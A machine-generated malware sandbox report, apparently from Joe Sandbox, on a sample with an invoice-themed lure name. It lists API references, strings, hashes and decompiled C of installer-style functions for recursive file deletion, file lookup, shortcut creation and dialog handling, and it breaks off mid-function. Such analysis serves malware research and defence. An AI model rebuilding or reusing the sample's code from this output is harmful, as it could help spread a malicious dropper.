0x10001f49
0x10001f49
0x10001f4c
0x10001f4c
0x00000000
0x10001f44
0x10001f21
0x10001f24
0x10001f24
0x10001f2b
0x10001f2d
0x10001f30
0x10001f37
0x10001f38
0x10001f3e
0x10001f3e
0x00000000
0x10001f3e
0x10001f32
0x10001f35
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x10001e3e
0x10001cff
0x10001cff
0x10001d00
0x10001e26
0x00000000
0x10001e26
0x10001d06
0x10001d07
0x00000000
0x00000000
0x10001d0f
0x10001d0f
0x10001d12
0x10001d5d
0x00000000
0x10001d5d
0x10001d14
0x10001d14
0x10001d17
0x10001d41
0x10001d44
0x10001d47
0x10001e18
0x10001e18
0x10001e18
0x10001d4d
0x10001d4d
0x10001d4d
0x10001e1e
0x00000000
0x10001e1e
0x10001d1a
0x10001d1a
0x10001d1b
0x10001d3e
0x10001d40
0x10001d40
0x00000000
0x10001d40
0x10001d1d
0x10001d1d
0x10001d20
0x10001d3a
0x00000000
0x10001d3a
0x10001d22
0x10001d22
0x10001d25
0x10001d36
0x00000000
0x10001d36
0x10001d27
0x10001d27
0x10001d28
0x10001d32
0x00000000
0x10001d32
0x10001d2b
0x10001d2c
0x00000000
0x00000000
0x10001d2e
0x00000000
0x10001d2e
0x00000000
0x10001bdd
0x10001b7f
0x10001b82
0x10001bb1
0x10001bb5
0x10001bbc
0x10001bc3
0x10001bc6
0x10001bc9
0x00000000
0x10001bc9
0x10001b84
0x10001b85
0x10001ba0
0x10001ba7
0x10001baa
0x00000000
0x10001baa
0x10001b8a
0x00000000
0x10001b90
0x10001b90
0x10001b97
0x00000000
0x10001b97
0x10001b8a
0x10001d83
0x10001d88
0x10001d8d
0x10001d91
0x100021c5
0x100021cb
0x10001da3
0x10001da5
0x10001da6
0x100020ee
0x100020ee
0x100020f1
0x100020f4
0x10002111
0x10002117
0x10002119
0x1000211f
0x10002136
0x10002136
0x10002136
0x10002143
0x10002149
0x1000214c
0x10002152
0x10002154
0x10002158
0x1000215a
0x10002161
0x10002166
0x10002169
0x1000216b
0x10002170
0x10002182
0x10002182
0x10002170
0x10002169
0x10002158
0x10002188
0x1000218b
0x10002195
0x1000219d
0x100021aa
0x100021b0
0x100021b3
0x100020e3
0x100020e3
0x00000000
0x100020e3
0x100021b9
0x100021bf
0x100021bf
0x00000000
0x00000000
0x100021c1
0x100021c1
0x100021c1
0x100021c1
0x00000000
0x1000218d
0x1000218d
0x10002193
0x00000000
0x00000000
0x00000000
0x10002193
0x1000218b
0x10002122
0x10002128
0x1000212a
0x10002130
0x00000000
0x00000000
0x00000000
0x10002130
0x100020f6
0x100020fd
0x10002103
0x10002109
0x00000000
0x10002109
0x10001dac
0x10001dad
0x100020cd
0x100020cd
0x100020d3
0x100020d6
0x00000000
0x00000000
0x100020dd
0x100020e2
0x00000000
0x100020e2
0x10001db4
0x00000000
0x00000000
0x10001dba
0x10001dba
0x10001dc3
0x10001dc8
0x10001dce
0x00000000
0x00000000
0x10001dd4
0x10001de1
0x10001de7
0x10001df1
0x10001df7
0x10001dff
0x10001e0f
0x00000000
0x10001e0f

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNELBASE(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000001.00000002.52425263791.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.52425241360.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425288590.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.52425312463.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_Rechung-R1663322504.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Uniqueness

Uniqueness Score: -1.00%

Function 0040596D Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E0040596D(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00405C38(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x7a8ac8 =  *0x7a8ac8 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E0040625F(0x7a3f28, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405B7C(_t68);
					} else {
						lstrcatW(0x7a3f28, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x7a3f28,  &_v604); // executed
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E0040625F(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405925(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E004052C3(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x7a8ac8 =  *0x7a8ac8 + 1;
										} else {
											E004052C3(0xfffffff1, _t68);
											E00406025(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E0040596D(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604);
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70);
						goto L26;
					}
					__eflags =  *0x7a3f28 - 0x5c;
					if( *0x7a3f28 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E004065A2(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405B30(_t68);
							_t38 = E00405925(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E004052C3(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E004052C3(0xfffffff1, _t68);
							return E00406025(_t67, _t68, 0);
						}
						L30:
						 *0x7a8ac8 =  *0x7a8ac8 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405977
0x0040597c
0x00405985
0x00405988
0x00405990
0x00405993
0x00405996
0x0040599e
0x004059a0
0x004059a1
0x00000000
0x004059a1
0x004059ac
0x004059af
0x004059af
0x004059af
0x004059b3
0x004059c6
0x004059cd
0x004059d2
0x004059d6
0x004059e6
0x004059d8
0x004059de
0x004059de
0x004059eb
0x004059ef
0x004059fb
0x00405a01
0x00405a06
0x00405a0c
0x00405a17
0x00405a1d
0x00405a1f
0x00405a22
0x00405acc
0x00405acc
0x00405ad0
0x00405ad2
0x00405ad2
0x00405ad2
0x00405ad2
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a28
0x00405a28
0x00405a28
0x00405a30
0x00405a50
0x00405a58
0x00405a5d
0x00405a64
0x00405a7f
0x00405a84
0x00405a86
0x00405aaa
0x00405a88
0x00405a88
0x00405a8b
0x00405a9f
0x00405a8d
0x00405a90
0x00405a98
0x00405a98
0x00405a8b
0x00405a66
0x00405a6c
0x00405a6e
0x00405a74
0x00405a74
0x00405a6e
0x00000000
0x00405a64
0x00405a32
0x00405a3a
0x00000000
0x00000000
0x00405a3c
0x00405a44
0x00000000
0x00000000
0x00405a46
0x00405a4e
0x00000000
0x00000000
0x00000000
0x00405aaf
0x00405ab7
0x00405abd
0x00405abd
0x00405ac6
0x00000000
0x00405ac6
0x004059f1
0x004059f9
0x00000000
0x00000000
0x00000000
0x004059b5
0x004059b5
0x004059b7
0x00405ad7
0x00405ad9
0x00405adc
0x00405b2d
0x00405b2d
0x00405b2d
0x00405ade
0x00405ae1
0x00405aec
0x00405af1
0x00405af3
0x00000000
0x00000000
0x00405af6
0x00405b02
0x00405b07
0x00405b09
0x00000000
0x00405b24
0x00405b0b
0x00405b0e
0x00000000
0x00000000
0x00405b13
0x00000000
0x00405b1a
0x00405ae3
0x00405ae3
0x00000000
0x00405ae3
0x004059bd
0x004059c0
0x00000000
0x00000000
0x00000000
0x004059c0

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,764E3420,00000000), ref: 00405996
lstrcatW.KERNEL32(007A3F28,\*.*), ref: 004059DE
lstrcatW.KERNEL32(?,0040A014), ref: 00405A01
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,764E3420,00000000), ref: 00405A07
FindFirstFileW.KERNELBASE(007A3F28,?,?,?,0040A014,?,007A3F28,?,?,C:\Users\user\AppData\Local\Temp\,764E3420,00000000), ref: 00405A17
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405AB7
FindClose.KERNEL32(00000000), ref: 00405AC6

Strings

"C:\Users\user\Desktop\Rechung-R1663322504.exe", xrefs: 0040596D
C:\Users\user\AppData\Local\Temp\, xrefs: 0040597B
\*.*, xrefs: 004059D8
(?z, xrefs: 004059C6

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\Rechung-R1663322504.exe"$(?z$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3839310349
Opcode ID: d19359472b600334dec94491de2483d8e144fed62e712032587100ce902314ed
Instruction ID: bed3c70eefbd60b288d0e49403b05a90b1a02306e0e83ed8d7b57435798b36db
Opcode Fuzzy Hash: d19359472b600334dec94491de2483d8e144fed62e712032587100ce902314ed
Instruction Fuzzy Hash: 4341A430900A14AACF21AB65DC89EAF7678EF46724F10827FF406B11D1D77C5981DE6E

Uniqueness

Uniqueness Score: -1.00%

Function 004065A2 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004065A2(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x7a4f70); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x7a4f70;
			}

0x004065ad
0x004065b6
0x00000000
0x004065c3
0x004065b9
0x00000000

APIs

FindFirstFileW.KERNELBASE(?,007A4F70,Regnskovsomraader\calipering.Gyr,00405C81,Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,00000000,Regnskovsomraader\calipering.Gyr,Regnskovsomraader\calipering.Gyr,?,?,764E3420,0040598D,?,C:\Users\user\AppData\Local\Temp\,764E3420), ref: 004065AD
FindClose.KERNEL32(00000000), ref: 004065B9

Strings

pOz, xrefs: 004065A3
Regnskovsomraader\calipering.Gyr, xrefs: 004065A2

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: Regnskovsomraader\calipering.Gyr$pOz
API String ID: 2295610775-305773001
Opcode ID: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction ID: ff58ffc18adcfb1e82f863fe631525536c8ca60503d441656b10eafe22cb2dbc
Opcode Fuzzy Hash: e01e7619722b9f30efb83f7659fa0d40dd2a6717423703156fa95c420c1e82c9
Instruction Fuzzy Hash: 40D012315190206FC6005778BD0C84B7A989F463307158B36B466F11E4D7789C668AA8

Uniqueness

Uniqueness Score: -1.00%

Function 004020FE Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004020FE() {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x4c)) = E00402C37(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x3c)) = E00402C37(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402C37(2);
				 *((intOrPtr*)(_t107 - 0x48)) = E00402C37(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402C37(0x45);
				_t52 =  *(_t107 - 0x18);
				 *(_t107 - 0x44) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x38) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405BA7( *((intOrPtr*)(_t107 - 0x3c))) == 0) {
					E00402C37(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4084dc, _t83, 1, 0x4084cc, _t56); // executed
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084ec, _t107 - 0x30);
					 *((intOrPtr*)(_t107 - 0x10)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x10)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x3c)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, L"C:\\Users\\Arthur\\Socialdirektrer");
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x38));
						_t91 =  *((intOrPtr*)(_t107 - 0x48));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x44));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x10)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x30));
							 *((intOrPtr*)(_t107 - 0x10)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x4c)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x30));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x10)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x00402107
0x00402111
0x0040211b
0x00402125
0x00402130
0x00402133
0x0040214d
0x00402150
0x00402156
0x00402159
0x00402163
0x00402167
0x00402167
0x0040216c
0x0040217d
0x00402185
0x0040223c
0x0040223c
0x00402243
0x0040218b
0x0040218b
0x0040219a
0x0040219e
0x004021a1
0x004021a7
0x004021b5
0x004021b8
0x004021ba
0x004021c5
0x004021c5
0x004021ca
0x004021cc
0x004021d3
0x004021d3
0x004021d6
0x004021df
0x004021e2
0x004021e8
0x004021ea
0x004021f4
0x004021f4
0x004021f7
0x00402200
0x00402203
0x0040220c
0x00402212
0x00402214
0x00402222
0x00402222
0x00402225
0x0040222b
0x0040222b
0x0040222e
0x00402234
0x0040223a
0x0040224f
0x00000000
0x00000000
0x00000000
0x0040223a
0x00402245
0x00402ac2
0x00402ace

APIs

CoCreateInstance.OLE32(004084DC,?,00000001,004084CC,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040217D

Strings

C:\Users\user\Socialdirektrer, xrefs: 004021BD

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\Socialdirektrer
API String ID: 542301482-2651023482
Opcode ID: 75bd8e49128f364a0fc7c4c1a7bdc2d45d81300e390856c6e58ec56fd8bb38af
Instruction ID: 12128347f435f69461b39f0114e3e01667000ffa0243525f0bda7dd6f9c1772f
Opcode Fuzzy Hash: 75bd8e49128f364a0fc7c4c1a7bdc2d45d81300e390856c6e58ec56fd8bb38af
Instruction Fuzzy Hash: BF4139B5A00208AFCB10DFE4C988AAEBBB5FF48314F20457AF515EB2D1DB799941CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00402862 Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00402862(short __ebx, short* __esi) {
				void* _t8;
				void* _t21;

				_t8 = FindFirstFileW(E00402C37(2), _t21 - 0x2d4); // executed
				if(_t8 != 0xffffffff) {
					E004061A6( *((intOrPtr*)(_t21 - 0xc)), _t8);
					_push(_t21 - 0x2a8);
					_push(__esi);
					E0040625F();
				} else {
					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
					 *__esi = __ebx;
					 *((intOrPtr*)(_t21 - 4)) = 1;
				}
				 *0x7a8ac8 =  *0x7a8ac8 +  *((intOrPtr*)(_t21 - 4));
				return 0;
			}

0x00402871
0x0040287a
0x00402895
0x004028a0
0x004028a1
0x004029db
0x0040287c
0x0040287f
0x00402882
0x00402885
0x00402885
0x00402ac2
0x00402ace

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 00402871

Memory Dump Source

Source File: 00000001.00000002.52367984992.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.52367921473.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368070518.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52368119023.00000000007D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.52369489779.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Rechung-R1663322504.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6634e00a7cf8ae9f81784cc3fd27b444408b2eeaa47297c107ee77c483e0c32a
Instruction ID: cb5017da262a82374af33b7b9c4435bd67f431664fd16e1eaa48b990974d77dd
Opcode Fuzzy Hash: 6634e00a7cf8ae9f81784cc3fd27b444408b2eeaa47297c107ee77c483e0c32a
Instruction Fuzzy Hash: 88F08C71A04104AFDB10EBA4DE49AADB378EF10314F2046BBF501F21D1DBB84E819B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00403D1B Relevance: 48.3, APIs: 32, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00403D1B(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t37;
				signed int _t39;
				signed int _t41;
				struct HWND__* _t51;
				signed int _t70;
				struct HWND__* _t76;
				signed int _t89;
				struct HWND__* _t94;
				signed int _t102;
				int _t106;
				signed int _t118;
				signed int _t119;
				int _t120;
				signed int _t125;
				struct HWND__* _t128;
				struct HWND__* _t129;
				int _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;
				void* _t145;

				_t118 = _a8;
				if(_t118 == 0x110 || _t118 == 0x408) {
					_t37 = _a12;
					_t128 = _a4;
					__eflags = _t118 - 0x110;
					 *0x7a1f08 = _t37;
					if(_t118 == 0x110) {
						 *0x7a8a28 = _t128;
						 *0x7a1f1c = GetDlgItem(_t128, 1);
						_t94 = GetDlgItem(_t128, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x79fee8 = _t94;
						E004041F4(_t128);
						SetClassLongW(_t128, 0xfffffff2,  *0x7a7a08);
						 *0x7a79ec = E0040140B(4);
						_t37 = 1;
						__eflags = 1;
						 *0x7a1f08 = 1;
					}
					_t125 =  *0x40a368; // 0x0
					_t136 = 0;
					_t133 = (_t125 << 6) +  *0x7a8a60;
					__eflags = _t125;
					if(_t125 < 0) {
						L34:
						E00404240(0x40b);
						while(1) {
							_t39 =  *0x7a1f08;
							 *0x40a368 =  *0x40a368 + _t39;
							_t133 = _t133 + (_t39 << 6);
							_t41 =  *0x40a368; // 0x0
							__eflags = _t41 -  *0x7a8a64;
							if(_t41 ==  *0x7a8a64) {
								E0040140B(1);
							}
							__eflags =  *0x7a79ec - _t136; // 0x0
							if(__eflags != 0) {
								break;
							}
							__eflags =  *0x40a368 -  *0x7a8a64; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t119 =  *(_t133 + 0x14);
							E00406281(_t119, _t128, _t133, 0x7b8000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E004041F4(_t128);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E004041F4(_t128);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E004041F4(_t128);
							_t51 = GetDlgItem(_t128, 3);
							__eflags =  *0x7a8acc - _t136;
							_v32 = _t51;
							if( *0x7a8acc != _t136) {
								_t119 = _t119 & 0x0000fefd | 0x00000004;
								__eflags = _t119;
							}
							ShowWindow(_t51, _t119 & 0x00000008); // executed
							EnableWindow( *(_t137 + 0x30), _t119 & 0x00000100); // executed
							E00404216(_t119 & 0x00000002);
							_t120 = _t119 & 0x00000004;
							EnableWindow( *0x79fee8, _t120);
							__eflags = _t120 - _t136;
							if(_t120 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
